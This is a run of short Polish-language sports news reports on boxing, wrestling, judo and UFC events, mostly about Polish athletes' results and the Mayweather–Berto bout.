W kategorii wagowej +91kg do rywalizacji stanął Paweł Wierzbicki. Nadzieje związane z występem boksera były, ale nie ziściły się. Dlaczego? Vianello Guido postawił przed Polakiem wysokie wymagania i musiał nasz zawodnik gonić. Wierzbicki zaczął zbyt pasywnie, co później zemściło się. Guido od początku przejął inicjatywę i kontrolował przebieg pojedynku. Wierzbicki nie był bez szans w starciu z Włochem. Walka była ciekawa, momentami efektowna, jednak Polakowi nie udało się odnieść wygranej. Sędziowie nie mieli złudzeń i jednoznacznie wskazali na zwycięstwo Guido.

Kolejnym z naszych reprezentantów, który zaprezentował się na bułgarskim ringu był Daniel Adamiec. Pięściarz rywalizujący w kategorii 64kg zmierzył się w walce eliminacyjnej Kastriotem Sopą. Polak dobrze prezentował się w dystansie. Jego ciosy dochodziły do celu. Adamiec imponował lewym prostym oraz uderzeniami na korpus. Z czasem do głosu doszedł Niemiec, który skrócił dystans. Sopa swoją aktywnością zwiększał swój dorobek punktowy. Walkę należy ocenić jako wyrównaną, w której obaj pięściarze zaprezentowali wysoki potencjał pięściarski. Sędziowie mieli nie lada zagłostkę, jednak niejednogłośnie wskazali na Sopę.

Agresywny Fin

Trudnym rywalem okazał Dmytro Tretyak, z którym w kategorii 75kg zmierzył się Tomasz Jabłoński. Fin walczył w sposób trudno i nie szczędził Polakowi nieczystych zagrań. Już w pierwszej rundzie sędzia zwrócił mu uwagę dwa razy. Tretyak dopuścił się ataku głową oraz uderzenia łokciem. Z czasem Jabłoński przejął inicjatywę i nadawał tempo walki. Polak dyktował warunki, jednak w trzeciej rundzie Fin ponownie zaczął stosować nieczyste zagrania. Trzecie upomnienie sędziego spowodowało dyskwalifikację. Jabłoński wygrał walkę i w kolejnym pojedynku zmierzy się z Leonem Chartoi.

Szczęście dopisało Dawidowi Jagodzińskiemu w kategorii 49kg. Okazuje się, że polski pięściarz pierwszy pojedynek stoczy dopiero w środę. Jeśli wygra będzie się cieszył się już z medalu.

KM

Manny chce rewanżu

Floyd Mayweather we wrześniu w Las Vegas zmierzy się z Andre Berto. Mówi się, że to będzie jego ostatni pojedynek w karierze, jednak o rewanżowym pojedynku z Amerykaninem myśli Manny Pacquiao.

W maju doszło do walki stulecia, w której zmierzyli się Amerykanin i Filipińczyk. Na punkty zwyciężył Mayweather, ale Pacquaio tłumaczył, że miał kłopoty z ramieniem. Teraz chce raz jeszcze spotkać się z „Moneyem”.

Czy to możliwe?

Pojedynek ten planowany był latami i w końcu udało się go zorganizować. Wielu podkreślało, że do tej walki doszło za późno, gdyż obaj mimo, że są czołowymi bokserami to szczyt formy i najlepsze lata mają za sobą. Mimo to Mayweather nadal dominuje w wadze półśredniej.”Money” nadal nie znalazł pogromcy na zawodowym ringu.

Manny Pacquiao ponownie chciałby się spotkać z Amerykaninem. Filipińczyk skakał przez kategorie wagowe i we wszystkich imponował. Przede wszystkim szybkością i aktywnością, ale w maju Mayweather skutecznie go wypunktował. Pacquiao liczy na rewanż. – W ringu Mayweather uciekał przede mną. Zasłużyłem na zwycięstwo w tym pojedynku. Obecnie koncentruję się na innych zajęciach, ale myślę o tym, aby ponownie spotkać się z Mayweatherem. Będę mentalnie i fizycznie gotowy do tego pojedynku w przyszłym roku. Moje kolejne walki będą lepsze niż ta, którą odbyłem z Mayweatherem – mówi Filipińczyk.

Co na to Mayweather? Jego stanowisko w tej kwestii jest jakby jednoznaczne. Wydaje się, że „Money” nie bierze pod uwagę walki rewanżowej z Pacquiao. Dlaczego? Mayweather: – Uważam, że największe nazwiska w tym sporcie to Canelo, Pacquiao, Cotto. Skoro wygrałem walki z nimi, nie mam rywali, z którymi mógłby teraz rywalizować.

Amerykanin przygotowuje się więc do wrześniowej walki, która zarazem może okazać się jego ostatnim występem w karierze. Do tej pory jest niepokonany i z ringu chce zejść jako zwycięzca.

Plan na Berto

Z pewnością Andre Berto nie jest tak medialny jak Manny Pacquiao. To dla Mayweathera również wielkie wyzwanie, aby sprzedać ten pojedynek. Amerykanin musi zrobić wszystko, aby jak najlepiej wypromować swoją wrześniową walkę w Las Vegas. Ostatnie występy Mayweathera nie obfitowały w zwroty akcji i efektowne nokauty, więc otoczka wokół pojedynku jest niezwykle ważna.

Jak przewiduje to, co będzie działo się w ringu Mayweather? – W walce z Berto będą nokdauny i dużo krwi. Skupiam się po raz ostatni na walce, którą stoczę 12 września. Następnego dnia w domu będę oglądał mecz, a potem będę spędzał każdego dnia czas z moimi dziećmi. Berto to twardy rywal. Będzie padał i powstawał z ringu. Na pewno nie odpuści i podejmie walkę – opisuje Mayweather.

Widać, że Floyd ma już gotowy plan. Czy po drodze coś się zmieni?

KM

Drugie srebro

Kolejny medal dla Polski na zapaśniczych mistrzostwach Europy kadetów w Suboticy. Srebro wywalczyła Alicja Czyżowicz.

Polskie zapaśniczki wywalczyły trzy medale podczas serbskiego czempionatu. Do końca rywalizacji pozostały jeszcze dwa dni. Na start czekają jeszcze zapaśnicy w stylu klasycznym. Wystąpi dziesięciu reprezentantów Polski.

Bez złota

Nadzieja była i to podwójna, jednak nie udało się. Reprezentacja Polski kadetów w Suboticy nie wywalczyła złotego medalu, ale jeszcze wszystko w rękach naszych zawodników w stylu klasycznym. Dwa dni w rywalizacji pań dostarczyły polskim kibicom wiele powodów do radości.

Warto zwrócić uwagę, że Polki plasowały się w czołówce. Trzy z dziesięciu naszych zawodniczek sięgnęły po medale. Aż sześć zapaśniczek zajęło piąte miejsca, czyli były o krok od sukcesu, jednak do podium trochę zabrakło. Mimo to występ naszych zawodniczek należy ocenić pozytywnie, gdyż daje nadzieję na przyszłość i pokazuje, że reprezentacja kadetek ma potencjał, który z czasem powinien zostać przekłuty na występy seniorskie.

Jako ostatnia po medal sięgnęła Alicja Czyżowicz w kategorii 52kg. W rywalizacji wystąpiło osiemnaście zawodniczek, a Polka w zawodach czuła się jak ryba w wodzie. Czyżowicz bez problemu pokonywała kolejne szczeble w Suboticy. Ciężka i wyrównana była walka w 1/8 finału, gdzie Polka musiała rywalizować z Ukrainką Aliną Akobbią, jednak dzięki uporowi i ambicji odniosła sukces. W kolejnym pojedynku potwierdziła dobrą dyspozycję, co zaowocowało pokonaniem Volhy Auchynik z Białorusi. Półfinałową rywalką Czyżowicz była Maylisse Hachemi, jednak Francuzka nie potrafiła znaleźć sposobu na naszą zawodniczkę. Dopiero w finale Polka została zatrzymana. Alina Kazymowa z Rosji sięgnęła po zloty medal. Na trzecim stopniu podium uplasowała się Akobbia, czyli pierwsza rywalka srebrnej medalistki mistrzostw Europy.

Dwa pozostałe medale dla Polski to zasługa Eweliny Ciunek i Dominiki Kulwickiej, które walczyły odpowiednio w kategoriach 65kg i 56kg. Ciunek stanęła na drugim stopniu podium. Polce do sukcesu wystarczyły zaledwie dwie wygrane, gdyż w jej kategorii wystąpiło trzynaście zawodniczek. Ciunek w finale nie potrafiła znaleźć sposobu na Francuzkę Koumbę Larroque. Z kolei Kulwicka sięgnęła po brązowy medal. Mistrzostwa rozpoczęła od wygranej, jednak w ćwierćfinale polegała z Rosjanką Iriną Avanasvą i musiała rywalizować w repasażach. Tam zaprezentowała się z dobrej strony, co dało jej możliwość walki o brąz. Polaka uporała się z Shabnam Amadovą i stanęła na trzecim stopniu podium.

Zabrakło

Niewiele, ale jednak. Piąte miejsce w tych przypadkach jest marnym pocieszeniem. Renata Nieściur w 49kg dobrze zaczęła, ale w ćwierćfinale znalazła pogromczynię w osobie Szimonnety Szeker. Przez repasaże przeszła zwycięsko. Pojedynek o brąz przegrała z Rosjanką Leilą Karymovą.

Podobną drogę przeszła Kinga Kapica w kategorii 43kg. W 38kg rywalizowało zaledwie dziesięć zawodniczek. Żaneta Cieślak wygrała jedną walkę i już była w półfinale, ale poległa w starciu o finał,  a następnie o brąz. Wiktoria Chołuj w 60kg bez problemu dotarła do półfinału. Polka nie miała szczęścia w decydujących momentach i wylądowała na piątym miejscu. Poza podium wylądowały również Natalia Stanek (40kg) i Magdalena Majos (46kg).

KM

Historyczny moment

Szczególna chwila dla polskiego judo, która zapisze się na kartach historii. Na mistrzostwach świata kadetów w Sarajewie w kategorii 57kg po brązowy medal sięgnęła Anna Dąbrowska.

Mistrzostwa świata kadetów rozgrywane są od 2009 roku. Polskie judo odniosło sukcesem i dzięki Dąbrowskiej otwiera się nowa karta w historii tej dyscypliny. Czy w Sarajewie Polacy wywalczą kolejny medal?

Dąbrowska po raz drugi

Przełom lipca i sierpnia należy do Anny Dąbrowskiej. Polka jest w doskonałej dyspozycji, którą potwierdza na każdym kroku. Na Igrzyskach Młodzieży w Tbilisi Dąbrowska sięgnęła po srebrny medal. Polka znakomicie radziła sobie w Gruzji, jednak w finale musiała uznać wyższość zawodniczki gospodarzy –Eteri Liparteliani. To był sygnał, że startująca w kategorii 57kg judoczka znajduje się w dobrej formie. Weryfikacją jej dyspozycji miał się okazać start w Sarajewie.

Podczas mistrzostw świata kadetów Polka udowodniła, że sukces w Tbilisi nie był dziełem przypadku. Reprezentująca barwy Juvenii Wrocław zawodniczka od pierwszego pojedynku w Sarajewie imponowała szybkością, zdecydowaniem oraz precyzją. Dąbrowska dotarła do półfinału, w którym spotkała się z Ryoko Takedą. Wiadomo, że pojedynki z japońskimi judokami w większości przypadków to wyższa szkoła jazdy. Trzeba być skupionym, skoncentrowanym i nie pozwolić sobie na jakikolwiek błąd. Dąbrowskiej nie udało się wejść do finału. Takeda pokonała Polkę przez ippon. Japonka ostatecznie wygrała całą rywalizację w kategorii 57kg. Dąbrowskiej pozostała walka o brązowy medal.  W decydującym starciu rywalką Polki była Vitoria Andrade. Brazylijka dominowała i wydawało się, że to ona zdobędzie medal, jednak trzeba walczyć do końca. Dąbrowska doskonale wyczuła moment i zaatakowała Andrade. Polka wygrała przez ippon, co dało jej trzecie miejsce na podium.

W kategorii 57kg z dobrej strony pokazała się Angelika Szymańska. Reprezentująca barwy Olimpijczyka Włocławek judoczka była o krok od podium. Szymańska dotarła do półfinału, w którym spotkała się z Emilią Kanervą. Reprezentantka Finlandii okazała się lepsza i wygrała przez yuko. Dla Polki pozostawała jeszcze nadzieja – pojedynek o brąz. Szczęście było o krok, ale nie udało się. Szymańska przegrała przez waza-ari z Hannah Deliu z Niemiec.

Szybko odpadli

Rywalizacja w Sarajewie trwa i w zawodach wystąpili również inni reprezentanci Polski, jednak bez powodzenia. Barbara Kulik w kategorii 63kg wygrała jedną walkę, co dało jej awans do 1/16 finału. Na tym etapie Polka zakończyła rywalizację w zawodach.

Dobre starty w tym sezonie notowali Vanessa Machnicka, Maciej Krogulski oraz Eryk Ryciak. W Tbilisi startujący w kategorii 90kg judoka zajął piątą lokatę, jednak w Sarajewie nie powtórzył tak dobrego wyniku. Ryciak odpadł w 1/32 finału. Po jednej walce stoczyli również Machnicka i Krogulski, dla których zawody również się zakończyły.

KM

Są medale

W Suboticy trwają mistrzostwa Europy kadetów w zapasach. Na koncie reprezentacji Polski są dwa medale.

Czy uda się poprawić ten dorobek? W sobotę i niedzielę będą rywalizowali zapaśnicy, więc wszystko jest możliwe. Jak do tej pory za zdobycze medalowe odpowiadają tylko i wyłącznie panie.

Pechowe piątki

Nie chodzi tu bynajmniej o dzień tygodnia. Dla wielu piątek jest dniem radosnym, gdyż wielkimi krokami zbliża się weekend. W zapasach jest nieco inaczej. Uściślając – chodzi o piąte miejsce, które z jednej strony jest wynikiem dobrym, ale z drugiej do wielkiego sukcesu trochę zabrakło.

Na początek rywalizacji w Suboticy zaprezentowali się panowie w stylu wolnym. W kategorii 58kg startowało dwudziestu czterech zawodników, w tym Krystian Piskorz, który rywalizację w zawodach rozpoczął od porażki, jednak dobry występ w repasażach dawał nadzieję na medal. Geryia Gadisa był rywalem Polaka w decydującym starciu. Reprezentant Azerbejdżanu nie pozostawił Piskorzowi złudzeń i odniósł pewne zwycięstwo. Polak został sklasyfikowany na piątej pozycji. Taki sam rezultat osiągnął Krystian Brzeziński w kategorii 42kg. W ćwierćfinale polski zapaśnik przegrał z Karą Doganem z Turcji, który wywalczył srebro. Brzeziński mógł również stanąć na podium, ale jego marzenia o medalu pogrzebał Asgar Mammadaliyev.

Jak burza kolejne szczeble pokonywał Wiktor Lejczak w kategorii 63kg, gdzie rywalizowało dwudziestu trzech zawodników. Polak zatrzymał się dopiero w półfinale, gdzie musiał uznać wyższość Dzhemala Ali. W finale pocieszenia Stefan Tonu rozbił Lejczaka. W kategorii 46kg Kordian Skrzyński rozpoczął turniej od wygranej z Dzmitrym Herasimenką, jednak w ćwierćfinale znalazł pogromcę w osobie Gruzina Giorgiego Khachidze. Polak poradził sobie w repasażach i wrócił do walki o medale, ale Georgios Pilidis okazał się lepszy i to Grekowi przypadło trzecie miejsce.

Dziewczyny na medal

Na początek warto zaznaczyć, że w rywalizacji pań startuje mniej zawodniczek niż wśród panów. Z jednej strony łatwiej o medal, ale z drugiej na każdym etapie trzeba być w pełni gotowym do rywalizacji, żadna chwila rozprężenia nie wchodzi w grę. Dwóm naszym zawodniczkom udało się stanąć na podium.

W kategorii 63kg wystąpiła Ewelina Ciunek, która musiała być lepsza od dwunastu rywalek, aby zdobyć złoto. Polka uznała wyższość Koumby Larroque z Francji. Ciunek wygrała dwie walki, które dały jej udział w finale, jednak jej rywalka była silniejsza i lepiej dysponowana. W większej grupie rywalizować musiała Dominika Kulwicka. Siedemnaście zawodniczek wystartowało w kategorii 56kg. Polka rozpoczęła zawody od zwycięstwo w pojedynku z Florine Schedlrf, ale w kolejnej walce Irina Afanasva okazała się lepsza. Kulwicka wyszła obroną ręką z repasaży i mogła rywalizować o brązowy medal. W decydującym pojedynku Polka uporała się z reprezentantką Azerbejdżanu Shabnam Amadovą.

Na piątych miejscach rywalizację zakończyły Renata Nieściur (49kg), Kinga Kapica (43kg) i Martyna Cieślak (38kg). O złoto w kategorii 52kg powalczy Alicja Czyżowicz.

KM

Borowska i Tałach do drużyny

Mistrzostwa świata w judo w Astanie zbliżają się wielkimi krokami. Rywalizacja zaplanowana jest na 24-30 sierpnia.

Skład naszej kadry jest już znany. Do Kazachstanu pojedzie siedemnastoosobowa reprezentacja Polski. Indywidualnie wystartuje piętnastu zawodników.

Siła w drużynie

Anna Borowska (57kg) i Karolina Tałach (63kg) zostały dodatkowo zgłoszone do rywalizacji drużynowej, która rozegra się 30 sierpnia. Nasza reprezentacja daje nadzieję na medal. W poprzednim sezonie kobieca drużyna pokazała się z dobrej strony i imponowała zgraniem pod okiem trener Anety Szczepańskiej. Na ubiegłorocznych mistrzostwach świata w Czelabińsku żeńska kadra była o krok od medalu. W pojedynku o brązowy medal Polki uległy reprezentacji Niemiec. Czy tym razem okażą się skuteczne i sięgną po medal?

Start drużynowy będzie zarazem testem możliwości naszej reprezentacji. Nie ulega wątpliwości, że jest to niezwykle ważny występ. Trzeba zbierać cenne punkty, bo stawka jest wysoka. Chodzi o Igrzyska Olimpijskie w Tokio, które odbędą się w 2020 roku. Tam judo w odsłonie drużynowej zaprezentuje się po raz pierwszy. Dlatego też zawczasu trzeba „zakasać rękawy i brać się do roboty”, aby pojechać do Tokio. Nasza reprezentacja pokazała, że ma potencjał i stać ją na dobre rezultaty.

Na ostatniej prostej

Przygotowania trwają. Reprezentacja Polski trenuje, aby w Astanie zanotować jak najlepszy wynik. Obecnie reprezentacja przebywa w Słowenii, gdzie szlifuje formę. Kadrowiczów czekają jeszcze zgrupowania w Cetniewie i Zakopanem.

Rok temu doczekaliśmy się w końcu medalu na mistrzostwach świata. W Czelabińsku na najniższym stopniu podium stanęła Katarzyna Kłys w kategorii 70kg. Również i w tym roku judoczka Polonii Rybnik jest nadzieją na zdobycz medalową. Kto jeszcze? Potencjał na medal z pewnością ma Daria Pogorzelec (78kg), która w poprzednim sezonie miała przebłyski wysokiej formy, a w tym stopniowo rozkręca się. Czy w Kazachstanie jej dyspozycja eksploduje? Początek sezonu był dobry w wykonaniu Agaty Perenc. Wśród panów do faworytów zaliczany jest Maciej Sarnacki w kategorii +100kg. W tym roku zawodnik Gwardii Olsztyn zwyciężył w Pucharze Świata na warszawskim Torwarze. W dobrej dyspozycji jest także Damian Szwarnowiecki (73kg).

Nasi judocy w tym roku nie wywalczyli żadnego medalu podczas Igrzysk Europejskich w Baku, które zarazem były mistrzostwami Europy. Na rok przed startem Igrzysk Olimpijskich w Rio de Janeiro odbywa się kolejna ważna impreza, która pozwoli ocenić potencjał naszej reprezentacji. Celem jest medal oraz miejsca punktowane. W tym sezonie w turniejach Pucharu Świata i Grand Slam Polacy zajmowali lokaty w czołówce. Po starcie w Baku można kręcić nosem. Czy występ w Astanie da radość polskim fanom judo?

KM

Berto szykuje się na Mayweathera

Długo trwały spekulacje na temat tego, kto będzie kolejnym rywalem Floyda Mayweathera Jr. 12 września w Las Vegas popularny „Money” zmierzy się z Andre Berto.

Niewykluczone, że będzie to ostatni pojedynek w karierze 38-letniego Amerykanina. Mayweather chce odnieść czterdzieste dziewiąte zwycięstwo w swojej karierze i utrzymać status niepokonanego.

Berto straszy

31-letni Andre Berto w marcu uporał się z Josesito Lopez, którego pokonał przez nokaut w szóstej rundzie. Dzięki temu zwycięstwu zyskał tymczasowy tytuł mistrza świata WBA w wadze półśredniej. Charakteryzując Amerykanina należy zwrócić uwagę na jego siłę i szybkość, które stanowią jego główne atuty.

Berto jest głodny sukcesów. Dostaje od losu szansę, aby wejść na szczyt. 31-latek już wcześniej mógł dostąpić możliwości starcia z Maywaetherem, ale wykładał się w kluczowych momentach. Berto nie potrafił poradzić sobie z Victorem Ortizem we wrześniu 2011 roku, kiedy to poległ już w czwartej rundzie. W listopadzie 2012 roku na punkty uległ w pojedynku z Robertem Guerrero. Obaj następnie stanęli naprzeciw Mayweathera. „Money” nie miał większych problemów, aby uporać się z Ortizem i Guerrero. W 2013 roku Berto poniósł kolejną porażkę – przegrał z Jesusem Soto Karassem. Amerykanin ma za sobą dwa zwycięstwa, który poprzedził kryzysem. Jego doświadczenia pokazują, że ma trudność w walkach, które mają wyższą stawkę.

Do rywalizacji z Mayweatherem podchodzi w bojowym sposób. Berto doskonale wie, że to jego szansa. – Macie świadomość, że zrobię wszystko, aby ten pojedynek był jak najbardziej emocjonujący. Ostatnim rywalem Floyda, który imponował szybkością był Zab Judah. Wielu pięściarzom nie powiodło się w rywalizacji z Mayweatherem. Posiadam ważne elementy, szybkość i wybuchowość, których inni nie mieli. Wniosę do tego pojedynku element, którego wcześniej nikt nie dał.  Ludzie mogą we mnie wątpić, ale nie powinni przegapić tej walki – mówi Amerykanin.

Co na to Floyd?

Mayweather już niejedno widział. Amerykanin ma bogate doświadczenie i wnosi do ringu mistrzowskie pasy WBC i WBA wagi półśredniej. Mayweather jest królem boksu, to on rozdaje karty i nakręca widowisko. Czy zrobi to po raz ostatni? Szereg głosów potwierdza, że 12 września w Las Vegas „Money” zaprezentuje się w ringu po raz ostatni.

Mayweather w tym roku był bohaterem walki stulecia. Zmierzył się z Manny Pacquiao i wygrał na punkty. Z finansowego punktu widzenia pojedynek był strzałem w dziesiątkę. Wcześniej „Money” dwukrotnie odprawił Marcosa Maidanę i zastopował Saula Alvareza. Wydaje się, że Berto jest rywalem słabszym niż poprzedni oponenci mistrza wagi półśredniej. Z pewnością Mayweather odpowiednio nakręci widowisko, aby wzbudzić zainteresowanie i sprzedać jak najwięcej pay per view. Czy faktycznie „Money” zaprezentuje się ostatni raz?

KM

Zapaśniczy atak na Serbię

W Suboticy trwają mistrzostwa Europy kadetów w zapasach. Rywalizacja rozpoczęła się we wtorek i potrwa do niedzieli. Pięciu naszych zapaśników już stoczyło swoje walki.

Młodzi zapaśnicy z całej Europy mają okazję do weryfikacji swoich możliwości. Rywalizacja odbywa się w stylu klasycznym, wolnym oraz zapasach kobiet w dziesięciu kategoriach wagowych.

Co, gdzie, kiedy?

W pierwszych dwóch dniach zaprezentują się zawodnicy w stylu wolnym. Wtorek należy do panów, którzy rywalizują w kategoriach: 42, 50, 58, 65 i 85kg. Dzień później o medale powalczą zapaśnicy w pozostałych kategoriach: 46, 54, 63, 76 i 100kg. Przez kolejne dwa dni obserwatorzy będą emocjonować się występami pań. W czwartek zaprezentują się zapaśniczki w kategoriach: 38, 43,49, 56, 65kg, a dzień później w: 40, 46, 52, 60, 70kg. Sobota i niedziela należeć będzie do klasyków. Najpierw na matę wyjdą panowie, którzy walczą w kategoriach: 42, 50, 58, 69, 85kg. W niedzielę do rywalizacji staną zapaśnicy w 46, 54, 63, 76 i 100kg.

Skład reprezentacji Polski w Suboticy liczy trzydzieści nazwisk. Każdy medal będzie sukcesem naszych zawodników. W gronie faworytów do triumfów są zapaśnicy z Gruzji, Azerbejdżanu oraz Rosji.

Pierwsze koty za płoty

Część naszych reprezentantów swoje pierwsze walki ma już za sobą. Dla kilku wejście na matę okazało się jednorazowe i w wyniku porażki muszą zapomnieć o dalszej rywalizacji podczas czempionatu w Serbii.

W kategorii 42kg rywalizuje piętnastu zapaśników, w tym Krystian Brzeziński. Polski zapaśnik w kwalifikacjach trafił na Martina Stojanova i znalazł sposób na pokonanie swojego przeciwnika. Brzeziński wykazał się skutecznością oraz precyzją, co pozwoliło mu wywalczyć awans do ćwierćfinału. Polak stanął przed trudnym wyzwaniem. Rywalem Brzezińskiego był Kara Dogan z Turcji, który nie pozostawił naszemu zapaśnikowi żadnych złudzeń. Zawodnik znad Morza Czarnego całkowicie zdominował Polaka, czym pozbawił go szans na półfinał. Z kolei Dogan idzie jak burza i uzyskał awans do finału. W półfinałowej batalii uporał się z reprezentantem Azerbejdżanu Asgarem Mammadaliyevem.

Krystian Piskorz w kategorii 58kg rozpoczął rywalizację od 1/8 finału, gdzie trafił na Aleko Lomidze. Gruzin wykazał się wysokimi umiejętnościami, pokonał Polaka i konsekwentnie szedł do przodu aż awansował do finału. Z kolei Piskorz ma szansą na podium. Polak w repasażach zdecydowanie pokonał Genadi Benogoeva.

Pierwszego dnia rywalizacji w Suboticy zaprezentowało się jeszcze trzech Polaków. W kategorii 50kg, gdzie rywalizowało dwudziestu zapaśników wystąpił Ernest Dorosz, który poległ w kwalifikacjach w rywalizacji z Davidem Brennem. Niemiec zakończył swój udział w turnieju na 1/8. Tylko jedną walkę w Serbii zaliczył Paweł Malicki. Rywalizujący w kategorii 69kg Polak uległ Theodorosowi Idsifidisem z Grecji. Jakub Szymula w kategorii 85 kg odpadł w 1/8 przegrywając z Beką Tchelidze.

KM

Drozd i Usyk w mistrzowskiej walce?

Grigorij Drozd pozbawił Polskę ostatniego mistrza świata w boksie. Rosjanin dzierży w swoich dłoniach pas WBC wagi półciężkiej. Czy odbierze mu go Olexandr Usyk?

Starcie Rosjanina i Ukraińca staje się coraz bardziej realne. Podstawowe pytanie brzmi: czy Usyk jest gotowy na tę walkę?

Ukraiński talent

Ukraina ma wielkiego mistrza boksu. Jest nim król wagi ciężkiej Władimir Kliczko, który niepodzielnie rządzi i włada. Mimo swojego wieku nie zamierza ustępować miejsca młodszym, a na dodatek odpiera ataki kolejnych pretendentów. Teraz kandydatem do mistrzowskiego pasa ma być inny bokser z Ukrainy – Olexandr Usyk, ale też w innej wadze – półciężkiej.

28-latek ma za sobą bogatą karierę amatorską. Początkowo Usyk walczył w wadze średniej, ale z czasem miał problemy ze zbijaniem masy i zaczął występować w półciężkiej. W 2008 roku w Liverpoolu sięgnął po tytuł mistrza Europy. Ukrainiec spróbował również sił w kategorii ciężkiej, gdzie wywalczył mistrzostwo świata. W 2012 roku stanął na najwyższym stopniu w wadze do 91kg podium podczas Igrzysk Olimpijskich w Londynie.

Na zawodowym ringu Usyk pojawił się we wrześniu 2013 roku. Jego rywalem był Filipe Romero, który w piątej rundzie musiał uznać wyższość Ukraińca. Do tej pory 28-latek nie poniósł porażki na zawodowym ringu, a stoczył już siedem walk. Wszystkie kończył przed czasem, czym przyciągnął uwagę obserwatorów. Usyk imponuje skutecznością oraz siłą. We wrześniu czeka go kolejny pojedynek. Tym razem rywalem ukraińskiego pięściarza będzie Johnny Muller, który ostatnio w kontrowersyjnych okolicznościach wygrał na punkty z Mateuszem Masternakiem. Czy kolejną walką Usyka będzie pojedynek o mistrzostwo świata?

Drozd przemówił

35-letni pięściarz jest posiadaczem pasa od września 2014 roku, kiedy pokonał Krzysztofa „Diablo” Włodarczyka. Miało dojść do walki rewanżowej, jednak choroba uniemożliwiła występ Polakowi. Zamiast Włodarczyka na ringu w Moskwie zaprezentował się Łukasz Janik. Dla boksera z Zielonej Góry była to życiowa szansa, jednak miał zbyt mało czasu, aby odpowiednio przygotować się do pojedynku. Drozd wypunktował Janika i w dziewiątej rundzie mógł cieszyć się ze zwycięstwa w pierwszej obronie tytułu.

Drozd na zawodowym ringu przegrał prawie dziewięć lat temu, a jego pogromcą okazał się Firat Arslan. Rosjanin wyrobił sobie markę i wszedł na szczyt. Teraz myśli o kolejnym pojedynku. Nie szuka rywala zbyt daleko. Jego wzrok podążył w kierunku Ukrainy i Olexandra Usyka. – Usyk to bardzo dobry pięściarz. Pojedynek wzbudziłby ogromne zainteresowanie wśród rosyjskich i ukraińskich fanów boksu, a także na całym świecie. Dlaczego nie zorganizować takiej walki? Być może niedługo Usyk będzie już obowiązkowym pretendentem do tytułu WBC – mówi Drozd. Czy o siedem lat młodszy Usyk będzie w stanie sprostować doświadczonemu rywalowi? Ukrainiec z każdą walką rozkręca się i imponuje skutecznością. Drozd chyba zawczasu chce storpedować jego zapędy.

KM

Rousey miażdży, Jędrzejczyk rozgrzewa się

Ronda Rousey po raz kolejny udowodniła swój fenomen. W Rio de Janeiro amerykańska fighterka odniosła pewne zwycięstwo. Podczas UFC 190 wykrystalizowała się kolejna rywalka Joanny Jędrzejczyk – Claudia Gadelha.

Mistrzyni UFC wagi koguciej pokazała, że jest niczym maszyna, która nie potrzebuje czasu, aby nabrać rozpędu. Niszczy wszystko, co napotka na swojej drodze. Amerykanka wypunktowała Bethe Correię.

Nawałanica

Dwunaste zwycięstwo Rousey w jej karierze w MMA stało się faktem. Tym razem 28-latka spędziła w oktagonie nieco więcej czasu niż w dwóch ostatnich pojedynkach. W rywalizacji z Alexis Davis do odniesienia zwycięstwa Amerykanka potrzebowała szesnastu sekund, z Cat Zingano uporała się w czternaście sekund. Bethe Correia okazała się nieco bardziej wytrzymała i całe starcie trwało trzydzieści cztery sekundy.

Rousey nie bawiła się w żadne kalkulacje. Od razu zdecydowanie ruszyła na swoją rywalkę, która była bezradna. Amerykanka zasypała 32-letnią Brazylijkę ciosami sierpowymi i podcięła jej nogę, sprowadzając walkę do parteru. Correia zachowała się przytomnie. Udało jej się wykonać przewrót w tył i wróciła do walki, ale nie uchroniła się przed kolejną falą ciosów. Rousey słała kolejne uderzenia na głowę i korpus rywalki, która w końcu padła. Prawy sierpowy rozstrzygnął walkę.

Amerykańska mistrzyni wagi koguciej odniosła szóste zwycięstwo w UFC. W swojej karierze tylko raz walczyła dłużej niż jedną rundę. Najwięcej czasu z Rousey wytrzymała Miesha Tate, która musiała uznać wyższość byłej judoczki w trzeciej części rywalizacji.

Gadelha chce walki z Jędrzejczyk

Na gali UFC 190 w Rio de Janeiro Claudia Gadelha zmierzyła się z Jessicą Aguilar. Brazylijka wykazała się skutecznością i odniosła pewne zwycięstwo. Dominacja Gadelhy ani przez chwilę nie podlegała dyskusji. Sędziowie jednoznacznie wskazali na 26-letnią Brazylijkę.

Po pojedynku popularna „Claudinha” wyznała, że chce walczyć o pas z Joanną Jędrzejczyk. Przypomnijmy, Brazylijka i Polka spotkały się na grudniowej gali UFC on Fox 13, kiedy to triumf odniosła 27-latka z Olsztyna. Gadelha pragnie rewanżu, w którym chce udowodnić swoją wyższość i zdobyć pas mistrzowski wagi słomkowej. – Jestem najlepszą zawodniczką w kategorii słomkowej i udowodnię to! Do tego pojedynku musi dojść! Joanna, mam nadzieję, że ciężko trenujesz i myślisz tym starciu. Ja jestem gotowa – grzmiała Gadelha w Rio de Janeiro. Optymistycznie do tej propozycji podszedł Dan White, który myśli o zorganizowaniu pojedynku pomiędzy Brazylijką i Polką.

Jotko poznał rywala

Krzysztof Jotko w oktagonie pojawi się 24 października podczas gali w Dublinie. Jego rywalem będzie Scott Askham, dla którego będzie to trzecia walka w UFC.

Dla polskiego fightera będzie to powrót po przerwie spowodowanej kontuzją. Jotko miał wystąpić na UFC w Krakowie, jednak względy zdrowotne uniemożliwiły mu rywalizację w Polsce. Ostatnią walkę dla najlepszej organizacji mieszanych sztuk walki na świecie Polak stoczył w październiku 2014 roku, kiedy uporał się z Torem Troengiem.

KM

Jeden medal w Gruzji

Pięciodniowa rywalizacja w Europejskich Igrzyskach Młodzieży w judo w Tbilisi dobiegła końca. Czas więc podsumować start Polaków i przekonać się, kto wypadł najlepiej w stolicy Gruzji.

Biało-czerwoni zakończyli rywalizację z jednym medalem, którego autorką była Anna Dąbrowska. W Tbilisi najlepsi okazali się judocy z Włoch.

Polska poza dziesiątką

W klasyfikacji medalowej biało-czerwoni znaleźli się na piętnastym miejscu. Dorobek medalowy Polaków ubogi, gdyż nasi zawodnicy wywalczyli tylko jedno miejsce na podium, ale zajmowali również miejsca punktowane. Polska okazała się lepsza od Węgier, Białorusi czy też Hiszpanii.

Sukces w Tbilisi odniosła Anna Dąbrowska, która w kategorii 57kg sięgnęła po srebrny medal. W kategorii wagowej 57kg jedynie zawodniczka gospodarzy Eteri Liparteliani okazała się lepsza od Polki. Dąbrowska bardzo dobrze radziła sobie w Gruzji. Nasza zawodniczka wygrała trzy walki, co pozwoliło jej rywalizować o złoty medal. Gruzinka okazała się zbyt trudnym wyzwaniem, ale Dąbrowska i tak osiągnęła sukces. Po drodze uporała się z reprezentantką Izraela Gili Sharir, która była o krok od podium, jednak przegrała rywalizację o brązowy medal. W walce o finał Dąbrowska pokonała Szwajcarkę Ines Amey.

